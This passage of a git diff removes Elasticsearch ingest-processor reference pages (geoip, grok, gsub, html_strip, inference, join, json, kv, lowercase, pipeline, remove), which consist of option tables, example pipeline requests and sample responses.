-PUT my-index-00001/_doc/my_id?pipeline=geoip
-{
-  "ip": "80.231.5.0"
-}
-
-GET my-index-00001/_doc/my_id
---------------------------------------------------
-
-Which returns:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index" : "my-index-00001",
-  "_type" : "_doc",
-  "_id" : "my_id",
-  "_version" : 1,
-  "_seq_no" : 71,
-  "_primary_term": 1,
-  "found" : true,
-  "_source" : {
-    "ip" : "80.231.5.0"
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no" : \d+/"_seq_no" : $body._seq_no/ s/"_primary_term" : 1/"_primary_term" : $body._primary_term/]
-
-[[ingest-geoip-mappings-note]]
-===== Recognizing Location as a Geopoint
-Although this processor enriches your document with a `location` field containing
-the estimated latitude and longitude of the IP address, this field will not be
-indexed as a {ref}/geo-point.html[`geo_point`] type in Elasticsearch without explicitly defining it
-as such in the mapping.
-
-You can use the following mapping for the example index above:
-
-[source,console]
---------------------------------------------------
-PUT my_ip_locations
-{
-  "mappings": {
-    "properties": {
-      "geoip": {
-        "properties": {
-          "location": { "type": "geo_point" }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-////
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/geoip
-{
-  "description" : "Add geoip info",
-  "processors" : [
-    {
-      "geoip" : {
-        "field" : "ip"
-      }
-    }
-  ]
-}
-
-PUT my_ip_locations/_doc/1?refresh=true&pipeline=geoip
-{
-  "ip": "8.8.8.8"
-}
-
-GET /my_ip_locations/_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "geo_distance": {
-          "distance": "1m",
-          "geoip.location": {
-            "lon": -97.822,
-            "lat": 37.751
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{
-  "took" : 3,
-  "timed_out" : false,
-  "_shards" : {
-    "total" : 1,
-    "successful" : 1,
-    "skipped" : 0,
-    "failed" : 0
-  },
-  "hits" : {
-    "total" : {
-      "value": 1,
-      "relation": "eq"
-    },
-    "max_score" : 1.0,
-    "hits" : [
-      {
-        "_index" : "my_ip_locations",
-        "_type" : "_doc",
-        "_id" : "1",
-        "_score" : 1.0,
-        "_source" : {
-          "geoip" : {
-            "continent_name" : "North America",
-            "country_name" : "United States",
-            "country_iso_code" : "US",
-            "location" : {
-              "lon" : -97.822,
-              "lat" : 37.751
-            }
-          },
-          "ip" : "8.8.8.8"
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took" : 3/"took" : $body.took/]
-////
-
-[[ingest-geoip-settings]]
-===== Node Settings
-
-The `geoip` processor supports the following setting:
-
-`ingest.geoip.cache_size`::
-
-    The maximum number of results that should be cached. Defaults to `1000`.
-
-Note that these settings are node settings and apply to all `geoip` processors, i.e. there is one cache for all defined `geoip` processors.
diff --git a/docs/reference/ingest/processors/grok.asciidoc b/docs/reference/ingest/processors/grok.asciidoc
deleted file mode 100644
index 1c7e6d1b0aa..00000000000
--- a/docs/reference/ingest/processors/grok.asciidoc
+++ /dev/null
@@ -1,376 +0,0 @@
-[[grok-processor]]
-=== Grok processor
-++++
-<titleabbrev>Grok</titleabbrev>
-++++
-
-Extracts structured fields out of a single text field within a document. You choose which field to
-extract matched fields from, as well as the grok pattern you expect will match. A grok pattern is like a regular
-expression that supports aliased expressions that can be reused.
-
-This tool is perfect for syslog logs, apache and other webserver logs, mysql logs, and in general, any log format
-that is generally written for humans and not computer consumption.
-This processor comes packaged with many
-https://github.com/elastic/elasticsearch/blob/{branch}/libs/grok/src/main/resources/patterns[reusable patterns].
-
-If you need help building patterns to match your logs, you will find the {kibana-ref}/xpack-grokdebugger.html[Grok Debugger] tool quite useful! The Grok Debugger is an {xpack} feature under the Basic License and is therefore *free to use*. The https://grokconstructor.appspot.com[Grok Constructor] is also a useful tool.
-
-[[grok-basics]]
-==== Grok Basics
-
-Grok sits on top of regular expressions, so any regular expressions are valid in grok as well.
-The regular expression library is Oniguruma, and you can see the full supported regexp syntax
-https://github.com/kkos/oniguruma/blob/master/doc/RE[on the Oniguruma site].
-
-Grok works by leveraging this regular expression language to allow naming existing patterns and combining them into more
-complex patterns that match your fields.
-
-The syntax for reusing a grok pattern comes in three forms: `%{SYNTAX:SEMANTIC}`, `%{SYNTAX}`, `%{SYNTAX:SEMANTIC:TYPE}`.
-
-The `SYNTAX` is the name of the pattern that will match your text. For example, `3.44` will be matched by the `NUMBER`
-pattern and `55.3.244.1` will be matched by the `IP` pattern. The syntax is how you match. `NUMBER` and `IP` are both
-patterns that are provided within the default patterns set.
-
-The `SEMANTIC` is the identifier you give to the piece of text being matched. For example, `3.44` could be the
-duration of an event, so you could call it simply `duration`. Further, a string `55.3.244.1` might identify
-the `client` making a request.
-
-The `TYPE` is the type you wish to cast your named field. `int`, `long`, `double`, `float` and `boolean` are supported types for coercion.
-
-For example, you might want to match the following text:
-
-[source,txt]
---------------------------------------------------
-3.44 55.3.244.1
---------------------------------------------------
-
-You may know that the message in the example is a number followed by an IP address. You can match this text by using the following
-Grok expression.
-
-[source,txt]
---------------------------------------------------
-%{NUMBER:duration} %{IP:client}
---------------------------------------------------
-
-[[using-grok]]
-==== Using the Grok Processor in a Pipeline
-
-[[grok-options]]
-.Grok Options
-[options="header"]
-|======
-| Name                   | Required  | Default             | Description
-| `field`                | yes       | -                   | The field to use for grok expression parsing
-| `patterns`             | yes       | -                   | An ordered list of grok expression to match and extract named captures with. Returns on the first expression in the list that matches.
-| `pattern_definitions`  | no        | -                   | A map of pattern-name and pattern tuples defining custom patterns to be used by the current processor. Patterns matching existing names will override the pre-existing definition.
-| `trace_match`          | no        | false               | when true, `_ingest._grok_match_index` will be inserted into your matched document's metadata with the index into the pattern found in `patterns` that matched.
-| `ignore_missing`       | no        | false               | If `true` and `field` does not exist or is `null`, the processor quietly exits without modifying the document
-include::common-options.asciidoc[]
-|======
-
-Here is an example of using the provided patterns to extract out and name structured fields from a string field in
-a document.
-
-[source,console]
---------------------------------------------------
-POST _ingest/pipeline/_simulate
-{
-  "pipeline": {
-    "description" : "...",
-    "processors": [
-      {
-        "grok": {
-          "field": "message",
-          "patterns": ["%{IP:client} %{WORD:method} %{URIPATHPARAM:request} %{NUMBER:bytes:int} %{NUMBER:duration:double}"]
-        }
-      }
-    ]
-  },
-  "docs":[
-    {
-      "_source": {
-        "message": "55.3.244.1 GET /index.html 15824 0.043"
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-This pipeline will insert these named captures as new fields within the document, like so:
-
-[source,console-result]
---------------------------------------------------
-{
-  "docs": [
-    {
-      "doc": {
-        "_index": "_index",
-        "_type": "_doc",
-        "_id": "_id",
-        "_source" : {
-          "duration" : 0.043,
-          "request" : "/index.html",
-          "method" : "GET",
-          "bytes" : 15824,
-          "client" : "55.3.244.1",
-          "message" : "55.3.244.1 GET /index.html 15824 0.043"
-        },
-        "_ingest": {
-          "timestamp": "2016-11-08T19:43:03.850+0000"
-        }
-      }
-    }
-  ]
-}
---------------------------------------------------
-// TESTRESPONSE[s/2016-11-08T19:43:03.850\+0000/$body.docs.0.doc._ingest.timestamp/]
-
-[[custom-patterns]]
-==== Custom Patterns
-
-The Grok processor comes pre-packaged with a base set of patterns. These patterns may not always have
-what you are looking for. Patterns have a very basic format. Each entry has a name and the pattern itself.
-
-You can add your own patterns to a processor definition under the `pattern_definitions` option.
-Here is an example of a pipeline specifying custom pattern definitions:
-
-[source,js]
---------------------------------------------------
-{
-  "description" : "...",
-  "processors": [
-    {
-      "grok": {
-        "field": "message",
-        "patterns": ["my %{FAVORITE_DOG:dog} is colored %{RGB:color}"],
-        "pattern_definitions" : {
-          "FAVORITE_DOG" : "beagle",
-          "RGB" : "RED|GREEN|BLUE"
-        }
-      }
-    }
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[trace-match]]
-==== Providing Multiple Match Patterns
-
-Sometimes one pattern is not enough to capture the potential structure of a field. Let's assume we
-want to match all messages that contain your favorite pet breeds of either cats or dogs. One way to accomplish
-this is to provide two distinct patterns that can be matched, instead of one really complicated expression capturing
-the same `or` behavior.
-
-Here is an example of such a configuration executed against the simulate API:
-
-[source,console]
---------------------------------------------------
-POST _ingest/pipeline/_simulate
-{
-  "pipeline": {
-  "description" : "parse multiple patterns",
-  "processors": [
-    {
-      "grok": {
-        "field": "message",
-        "patterns": ["%{FAVORITE_DOG:pet}", "%{FAVORITE_CAT:pet}"],
-        "pattern_definitions" : {
-          "FAVORITE_DOG" : "beagle",
-          "FAVORITE_CAT" : "burmese"
-        }
-      }
-    }
-  ]
-},
-"docs":[
-  {
-    "_source": {
-      "message": "I love burmese cats!"
-    }
-  }
-  ]
-}
---------------------------------------------------
-
-response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "docs": [
-    {
-      "doc": {
-        "_type": "_doc",
-        "_index": "_index",
-        "_id": "_id",
-        "_source": {
-          "message": "I love burmese cats!",
-          "pet": "burmese"
-        },
-        "_ingest": {
-          "timestamp": "2016-11-08T19:43:03.850+0000"
-        }
-      }
-    }
-  ]
-}
---------------------------------------------------
-// TESTRESPONSE[s/2016-11-08T19:43:03.850\+0000/$body.docs.0.doc._ingest.timestamp/]
-
-Both patterns will set the field `pet` with the appropriate match, but what if we want to trace which of our
-patterns matched and populated our fields? We can do this with the `trace_match` parameter. Here is the output of
-that same pipeline, but with `"trace_match": true` configured:
-
-////
-Hidden setup for example:
-[source,console]
---------------------------------------------------
-POST _ingest/pipeline/_simulate
-{
-  "pipeline": {
-  "description" : "parse multiple patterns",
-  "processors": [
-    {
-      "grok": {
-        "field": "message",
-        "patterns": ["%{FAVORITE_DOG:pet}", "%{FAVORITE_CAT:pet}"],
-        "trace_match": true,
-        "pattern_definitions" : {
-          "FAVORITE_DOG" : "beagle",
-          "FAVORITE_CAT" : "burmese"
-        }
-      }
-    }
-  ]
-},
-"docs":[
-  {
-    "_source": {
-      "message": "I love burmese cats!"
-    }
-  }
-  ]
-}
---------------------------------------------------
-////
-
-[source,console-result]
---------------------------------------------------
-{
-  "docs": [
-    {
-      "doc": {
-        "_type": "_doc",
-        "_index": "_index",
-        "_id": "_id",
-        "_source": {
-          "message": "I love burmese cats!",
-          "pet": "burmese"
-        },
-        "_ingest": {
-          "_grok_match_index": "1",
-          "timestamp": "2016-11-08T19:43:03.850+0000"
-        }
-      }
-    }
-  ]
-}
---------------------------------------------------
-// TESTRESPONSE[s/2016-11-08T19:43:03.850\+0000/$body.docs.0.doc._ingest.timestamp/]
-
-In the above response, you can see that the index of the pattern that matched was `"1"`. This is to say that it was the
-second (index starts at zero) pattern in `patterns` to match.
-
-This trace metadata enables debugging which of the patterns matched. This information is stored in the ingest
-metadata and will not be indexed.
-
-[[grok-processor-rest-get]]
-==== Retrieving patterns from REST endpoint
-
-The Grok Processor comes packaged with its own REST endpoint for retrieving which patterns the processor is packaged with.
-
-[source,console]
---------------------------------------------------
-GET _ingest/processor/grok
---------------------------------------------------
-
-The above request will return a response body containing a key-value representation of the built-in patterns dictionary.
-
-[source,js]
---------------------------------------------------
-{
-  "patterns" : {
-    "BACULA_CAPACITY" : "%{INT}{1,3}(,%{INT}{3})*",
-    "PATH" : "(?:%{UNIXPATH}|%{WINPATH})",
-    ...
-}
---------------------------------------------------
-// NOTCONSOLE
-
-By default, the API returns patterns in the order they are read from disk. This
-sort order preserves groupings of related patterns. For example, all patterns
-related to parsing Linux syslog lines stay grouped together.
-
-You can use the optional boolean `s` query parameter to sort returned patterns
-by key name instead.
-
-[source,console]
---------------------------------------------------
-GET _ingest/processor/grok?s
---------------------------------------------------
-
-The API returns the following response.
-
-[source,js]
---------------------------------------------------
-{
-  "patterns" : {
-    "BACULA_CAPACITY" : "%{INT}{1,3}(,%{INT}{3})*",
-    "BACULA_DEVICE" : "%{USER}",
-    "BACULA_DEVICEPATH" : "%{UNIXPATH}",
-    ...
-}
---------------------------------------------------
-// NOTCONSOLE
-
-
-This can be useful to reference as the built-in patterns change across versions.
-
-[[grok-watchdog]]
-==== Grok watchdog
-
-Grok expressions that take too long to execute are interrupted and
-the grok processor then fails with an exception. The grok
-processor has a watchdog thread that determines when evaluation of
-a grok expression takes too long and is controlled by the following
-settings:
-
-[[grok-watchdog-options]]
-.Grok watchdog settings
-[options="header"]
-|======
-| Name                                      | Default | Description
-| `ingest.grok.watchdog.interval`           | 1s      | How often to check whether there are grok evaluations that take longer than the maximum allowed execution time.
-| `ingest.grok.watchdog.max_execution_time` | 1s      | The maximum allowed execution of a grok expression evaluation.
-|======
-
-[[grok-debugging]]
-==== Grok debugging
-
-It is advised to use the {kibana-ref}/xpack-grokdebugger.html[Grok Debugger] to debug grok patterns. From there you can test one or more
-patterns in the UI against sample data. Under the covers it uses the same engine as ingest node processor.
-
-Additionally, it is recommended to enable debug logging for Grok so that any additional messages may also be seen in the Elasticsearch
-server log.
-
-[source,js]
---------------------------------------------------
-PUT _cluster/settings
-{
-  "transient": {
-    "logger.org.elasticsearch.ingest.common.GrokProcessor": "debug"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ingest/processors/gsub.asciidoc b/docs/reference/ingest/processors/gsub.asciidoc
deleted file mode 100644
index bd84336b8f5..00000000000
--- a/docs/reference/ingest/processors/gsub.asciidoc
+++ /dev/null
@@ -1,33 +0,0 @@
-[[gsub-processor]]
-=== Gsub processor
-++++
-<titleabbrev>Gsub</titleabbrev>
-++++
-
-Converts a string field by applying a regular expression and a replacement.
-If the field is an array of string, all members of the array will be converted. If any non-string values are encountered, the processor will throw an exception. 
-
-[[gsub-options]]
-.Gsub Options
-[options="header"]
-|======
-| Name              | Required  | Default  | Description
-| `field`           | yes       | -        | The field to apply the replacement to
-| `pattern`         | yes       | -        | The pattern to be replaced
-| `replacement`     | yes       | -        | The string to replace the matching patterns with
-| `target_field`    | no        | `field`  | The field to assign the converted value to, by default `field` is updated in-place
-| `ignore_missing`  | no        | `false`  | If `true` and `field` does not exist or is `null`, the processor quietly exits without modifying the document
-include::common-options.asciidoc[]
-|======
-
-[source,js]
---------------------------------------------------
-{
-  "gsub": {
-    "field": "field1",
-    "pattern": "\\.",
-    "replacement": "-"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ingest/processors/html_strip.asciidoc b/docs/reference/ingest/processors/html_strip.asciidoc
deleted file mode 100644
index 6e95015d253..00000000000
--- a/docs/reference/ingest/processors/html_strip.asciidoc
+++ /dev/null
@@ -1,30 +0,0 @@
-[[htmlstrip-processor]]
-=== HTML strip processor
-++++
-<titleabbrev>HTML strip</titleabbrev>
-++++
-
-Removes HTML tags from the field. If the field is an array of strings, HTML tags will be removed from all members of the array.
-
-NOTE: Each HTML tag is replaced with a `\n` character.
-
-[[htmlstrip-options]]
-.HTML Strip Options
-[options="header"]
-|======
-| Name              | Required  | Default  | Description
-| `field`           | yes       | -        | The string-valued field to remove HTML tags from
-| `target_field`    | no        | `field`  | The field to assign the value to, by default `field` is updated in-place
-| `ignore_missing`  | no        | `false`  | If `true` and `field` does not exist, the processor quietly exits without modifying the document
-include::common-options.asciidoc[]
-|======
-
-[source,js]
---------------------------------------------------
-{
-  "html_strip": {
-    "field": "foo"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ingest/processors/inference.asciidoc b/docs/reference/ingest/processors/inference.asciidoc
deleted file mode 100644
index 5c7d6a3cd52..00000000000
--- a/docs/reference/ingest/processors/inference.asciidoc
+++ /dev/null
@@ -1,194 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[inference-processor]]
-=== {infer-cap} processor
-++++
-<titleabbrev>{infer-cap}</titleabbrev>
-++++
-
-experimental::[]
-
-Uses a pre-trained {dfanalytics} model to infer against the data that is being
-ingested in the pipeline.
-
-
-[[inference-options]]
-.{infer-cap} Options
-[options="header"]
-|======
-| Name               | Required  | Default                        | Description
-| `model_id`         | yes       | -                              | (String) The ID of the model to load and infer against.
-| `target_field`     | no        | `ml.inference.<processor_tag>` | (String) Field added to incoming documents to contain results objects.
-| `field_map`        | no        | If defined the model's default field map | (Object) Maps the document field names to the known field names of the model. This mapping takes precedence over any default mappings provided in the model configuration.
-| `inference_config` | no        | The default settings defined in the model  | (Object) Contains the inference type and its options. There are two types: <<inference-processor-regression-opt,`regression`>> and <<inference-processor-classification-opt,`classification`>>.
-include::common-options.asciidoc[]
-|======
-
-
-[source,js]
---------------------------------------------------
-{
-  "inference": {
-    "model_id": "flight_delay_regression-1571767128603",
-    "target_field": "FlightDelayMin_prediction_infer",
-    "field_map": {
-      "your_field": "my_field"
-    },
-    "inference_config": { "regression": {} }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-
-[discrete]
-[[inference-processor-regression-opt]]
-==== {regression-cap} configuration options
-
-Regression configuration for inference.
-
-`results_field`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-results-field-processor]
-
-`num_top_feature_importance_values`::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-regression-num-top-feature-importance-values]
-
-
-[discrete]
-[[inference-processor-classification-opt]]
-==== {classification-cap} configuration options
-
-Classification configuration for inference.
-
-`num_top_classes`::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-classification-num-top-classes]
-
-`num_top_feature_importance_values`::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-classification-num-top-feature-importance-values]
-
-`results_field`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-results-field-processor]
-
-`top_classes_results_field`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-classification-top-classes-results-field]
-
-`prediction_field_type`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-classification-prediction-field-type]
-
-[discrete]
-[[inference-processor-config-example]]
-==== `inference_config` examples
-
-[source,js]
---------------------------------------------------
-"inference":{
-  "model_id":"my_model_id"
-  "inference_config": {
-    "regression": {
-      "results_field": "my_regression"
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-This configuration specifies a `regression` inference and the results are
-written to the `my_regression` field contained in the `target_field` results
-object.
-
-
-[source,js]
---------------------------------------------------
-"inference":{
-  "model_id":"my_model_id"
-  "inference_config": {
-    "classification": {
-      "num_top_classes": 2,
-      "results_field": "prediction",
-      "top_classes_results_field": "probabilities"
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-This configuration specifies a `classification` inference. The number of
-categories for which the predicted probabilities are reported is 2
-(`num_top_classes`). The result is written to the `prediction` field and the top
-classes to the `probabilities` field. Both fields are contained in the
-`target_field` results object.
-
-Refer to the 
-{ml-docs}/ml-lang-ident.html#ml-lang-ident-example[language identification] 
-trained model documentation for a full example.
-
-
-[discrete]
-[[inference-processor-feature-importance]]
-==== {feat-imp-cap} object mapping
-
-To get the full benefit of aggregating and searching for
-{ml-docs}/ml-feature-importance.html[{feat-imp}], update your index mapping of 
-the {feat-imp} result field as you can see below:
-
-[source,js]
---------------------------------------------------
-"ml.inference.feature_importance": {
-  "type": "nested",
-  "dynamic": true,
-  "properties": {
-    "feature_name": {
-      "type": "keyword"
-    },
-    "importance": {
-      "type": "double"
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-The mapping field name for {feat-imp} (in the example above, it is 
-`ml.inference.feature_importance`) is compounded as follows:
-
-`<ml.inference.target_field>`.`<inference.tag>`.`feature_importance`
-
-* `<ml.inference.target_field>`: defaults to `ml.inference`.
-* `<inference.tag>`: if is not provided in the processor definition, then it is 
-not part of the field path.
-
-For example, if you provide a tag `foo` in the definition as you can see below:
-
-[source,js]
---------------------------------------------------
-{
-  "tag": "foo",
-  ...
-}
---------------------------------------------------
-// NOTCONSOLE
-
-
-Then, the {feat-imp} value is written to the 
-`ml.inference.foo.feature_importance` field.
-
-You can also specify the target field as follows:
-
-[source,js]
---------------------------------------------------
-{
-  "tag": "foo",
-  "target_field": "my_field"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-In this case, {feat-imp} is exposed in the
-`my_field.foo.feature_importance` field.
diff --git a/docs/reference/ingest/processors/join.asciidoc b/docs/reference/ingest/processors/join.asciidoc
deleted file mode 100644
index 6cb363940e2..00000000000
--- a/docs/reference/ingest/processors/join.asciidoc
+++ /dev/null
@@ -1,30 +0,0 @@
-[[join-processor]]
-=== Join processor
-++++
-<titleabbrev>Join</titleabbrev>
-++++
-
-Joins each element of an array into a single string using a separator character between each element.
-Throws an error when the field is not an array.
-
-[[join-options]]
-.Join Options
-[options="header"]
-|======
-| Name              | Required  | Default  | Description
-| `field`           | yes       | -        | Field containing array values to join
-| `separator`       | yes       | -        | The separator character
-| `target_field`    | no        | `field`  | The field to assign the joined value to, by default `field` is updated in-place
-include::common-options.asciidoc[]
-|======
-
-[source,js]
---------------------------------------------------
-{
-  "join": {
-    "field": "joined_array_field",
-    "separator": "-"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ingest/processors/json.asciidoc b/docs/reference/ingest/processors/json.asciidoc
deleted file mode 100644
index 2ccefbb0ef1..00000000000
--- a/docs/reference/ingest/processors/json.asciidoc
+++ /dev/null
@@ -1,92 +0,0 @@
-[[json-processor]]
-=== JSON processor
-++++
-<titleabbrev>JSON</titleabbrev>
-++++
-
-Converts a JSON string into a structured JSON object.
-
-[[json-options]]
-.Json Options
-[options="header"]
-|======
-| Name           | Required  | Default  | Description
-| `field`        | yes       | -        | The field to be parsed.
-| `target_field` | no        | `field`  | The field that the converted structured object will be written into. Any existing content in this field will be overwritten.
-| `add_to_root`  | no        | false    | Flag that forces the serialized json to be injected into the top level of the document. `target_field` must not be set when this option is chosen.
-include::common-options.asciidoc[]
-|======
-
-All JSON-supported types will be parsed (null, boolean, number, array, object, string).
-
-Suppose you provide this configuration of the `json` processor:
-
-[source,js]
---------------------------------------------------
-{
-  "json" : {
-    "field" : "string_source",
-    "target_field" : "json_target"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If the following document is processed:
-
-[source,js]
---------------------------------------------------
-{
-  "string_source": "{\"foo\": 2000}"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-after the `json` processor operates on it, it will look like:
-
-[source,js]
---------------------------------------------------
-{
-  "string_source": "{\"foo\": 2000}",
-  "json_target": {
-    "foo": 2000
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If the following configuration is provided, omitting the optional `target_field` setting:
-[source,js]
---------------------------------------------------
-{
-  "json" : {
-    "field" : "source_and_target"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-then after the `json` processor operates on this document:
-
-[source,js]
---------------------------------------------------
-{
-  "source_and_target": "{\"foo\": 2000}"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-it will look like:
-
-[source,js]
---------------------------------------------------
-{
-  "source_and_target": {
-    "foo": 2000
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-This illustrates that, unless it is explicitly named in the processor configuration, the `target_field`
-is the same field provided in the required `field` configuration.
diff --git a/docs/reference/ingest/processors/kv.asciidoc b/docs/reference/ingest/processors/kv.asciidoc
deleted file mode 100644
index f8e251925af..00000000000
--- a/docs/reference/ingest/processors/kv.asciidoc
+++ /dev/null
@@ -1,42 +0,0 @@
-[[kv-processor]]
-=== KV processor
-++++
-<titleabbrev>KV</titleabbrev>
-++++
-
-This processor helps automatically parse messages (or specific event fields) which are of the `foo=bar` variety.
-
-For example, if you have a log message which contains `ip=1.2.3.4 error=REFUSED`, you can parse those fields automatically by configuring:
-
-[source,js]
---------------------------------------------------
-{
-  "kv": {
-    "field": "message",
-    "field_split": " ",
-    "value_split": "="
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-TIP: Using the KV Processor can result in field names that you cannot control. Consider using the <<flattened>> data type instead, which maps an entire object as a single field and allows for simple searches over its contents.
-
-[[kv-options]]
-.KV Options
-[options="header"]
-|======
-| Name             | Required  | Default  | Description
-| `field`          | yes       | -        | The field to be parsed
-| `field_split`    | yes       | -        | Regex pattern to use for splitting key-value pairs
-| `value_split`    | yes       | -        | Regex pattern to use for splitting the key from the value within a key-value pair
-| `target_field`   | no        | `null`   | The field to insert the extracted keys into. Defaults to the root of the document
-| `include_keys`   | no        | `null`   | List of keys to filter and insert into document. Defaults to including all keys
-| `exclude_keys`   | no        | `null`   | List of keys to exclude from document
-| `ignore_missing` | no        | `false`  | If `true` and `field` does not exist or is `null`, the processor quietly exits without modifying the document
-| `prefix`         | no        | `null`   | Prefix to be added to extracted keys
-| `trim_key`       | no        | `null`   | String of characters to trim from extracted keys
-| `trim_value`     | no        | `null`   | String of characters to trim from extracted values
-| `strip_brackets` | no        | `false`  | If `true` strip brackets `()`, `<>`, `[]` as well as quotes `'` and `"` from extracted values
-include::common-options.asciidoc[]
-|======
diff --git a/docs/reference/ingest/processors/lowercase.asciidoc b/docs/reference/ingest/processors/lowercase.asciidoc
deleted file mode 100644
index 2e95b1eca6c..00000000000
--- a/docs/reference/ingest/processors/lowercase.asciidoc
+++ /dev/null
@@ -1,28 +0,0 @@
-[[lowercase-processor]]
-=== Lowercase processor
-++++
-<titleabbrev>Lowercase</titleabbrev>
-++++
-
-Converts a string to its lowercase equivalent. If the field is an array of strings, all members of the array will be converted.
-
-[[lowercase-options]]
-.Lowercase Options
-[options="header"]
-|======
-| Name             | Required  | Default  | Description
-| `field`          | yes       | -        | The field to make lowercase
-| `target_field`   | no        | `field`  | The field to assign the converted value to, by default `field` is updated in-place
-| `ignore_missing` | no        | `false`  | If `true` and `field` does not exist or is `null`, the processor quietly exits without modifying the document
-include::common-options.asciidoc[]
-|======
-
-[source,js]
---------------------------------------------------
-{
-  "lowercase": {
-    "field": "foo"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ingest/processors/pipeline.asciidoc b/docs/reference/ingest/processors/pipeline.asciidoc
deleted file mode 100644
index a663b704292..00000000000
--- a/docs/reference/ingest/processors/pipeline.asciidoc
+++ /dev/null
@@ -1,117 +0,0 @@
-[[pipeline-processor]]
-=== Pipeline processor
-++++
-<titleabbrev>Pipeline</titleabbrev>
-++++
-
-Executes another pipeline.
-
-[[pipeline-options]]
-.Pipeline Options
-[options="header"]
-|======
-| Name             | Required  | Default  | Description
-| `name`           | yes       | -        | The name of the pipeline to execute. Supports <<accessing-template-fields,template snippets>>.
-include::common-options.asciidoc[]
-|======
-
-[source,js]
---------------------------------------------------
-{
-  "pipeline": {
-    "name": "inner-pipeline"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-The name of the current pipeline can be accessed from the `_ingest.pipeline` ingest metadata key.
-
-An example of using this processor for nesting pipelines would be:
-
-Define an inner pipeline:
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/pipelineA
-{
-  "description" : "inner pipeline",
-  "processors" : [
-    {
-      "set" : {
-        "field": "inner_pipeline_set",
-        "value": "inner"
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-Define another pipeline that uses the previously defined inner pipeline:
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/pipelineB
-{
-  "description" : "outer pipeline",
-  "processors" : [
-    {
-      "pipeline" : {
-        "name": "pipelineA"
-      }
-    },
-    {
-      "set" : {
-        "field": "outer_pipeline_set",
-        "value": "outer"
-      }
-    }
-  ]
-}
---------------------------------------------------
-// TEST[continued]
-
-Now indexing a document while applying the outer pipeline will see the inner pipeline executed
-from the outer pipeline:
-
-[source,console]
---------------------------------------------------
-PUT /my-index/_doc/1?pipeline=pipelineB
-{
-  "field": "value"
-}
---------------------------------------------------
-// TEST[continued]
-
-Response from the index request:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index": "my-index",
-  "_type": "_doc",
-  "_id": "1",
-  "_version": 1,
-  "result": "created",
-  "_shards": {
-    "total": 2,
-    "successful": 1,
-    "failed": 0
-  },
-  "_seq_no": 66,
-  "_primary_term": 1,
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term" : 1/"_primary_term" : $body._primary_term/]
-
-Indexed document:
-
-[source,js]
---------------------------------------------------
-{
-  "field": "value",
-  "inner_pipeline_set": "inner",
-  "outer_pipeline_set": "outer"
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ingest/processors/remove.asciidoc b/docs/reference/ingest/processors/remove.asciidoc
deleted file mode 100644
index 57e785c2de7..00000000000
--- a/docs/reference/ingest/processors/remove.asciidoc
+++ /dev/null
@@ -1,41 +0,0 @@
-[[remove-processor]]
-=== Remove processor
-++++
-<titleabbrev>Remove</titleabbrev>
-++++
-
-Removes existing fields. If one field doesn't exist, an exception will be thrown.
-
-[[remove-options]]
-.Remove Options
-[options="header"]
-|======
-| Name             | Required  | Default  | Description
-| `field`          | yes       | -        | Fields to be removed. Supports <<accessing-template-fields,template snippets>>.
-| `ignore_missing` | no        | `false`  | If `true` and `field` does not exist or is `null`, the processor quietly exits without modifying the document
-include::common-options.asciidoc[]
-|======
-
-Here is an example to remove a single field:
-
-[source,js]
---------------------------------------------------
-{
-  "remove": {
-    "field": "user_agent"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-To remove multiple fields, you can use the following query:
-
-[source,js]
---------------------------------------------------
-{
-  "remove": {
-    "field": ["user_agent", "url"]
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ingest/processors/rename.asciidoc b/docs/reference/ingest/processors/rename.asciidoc
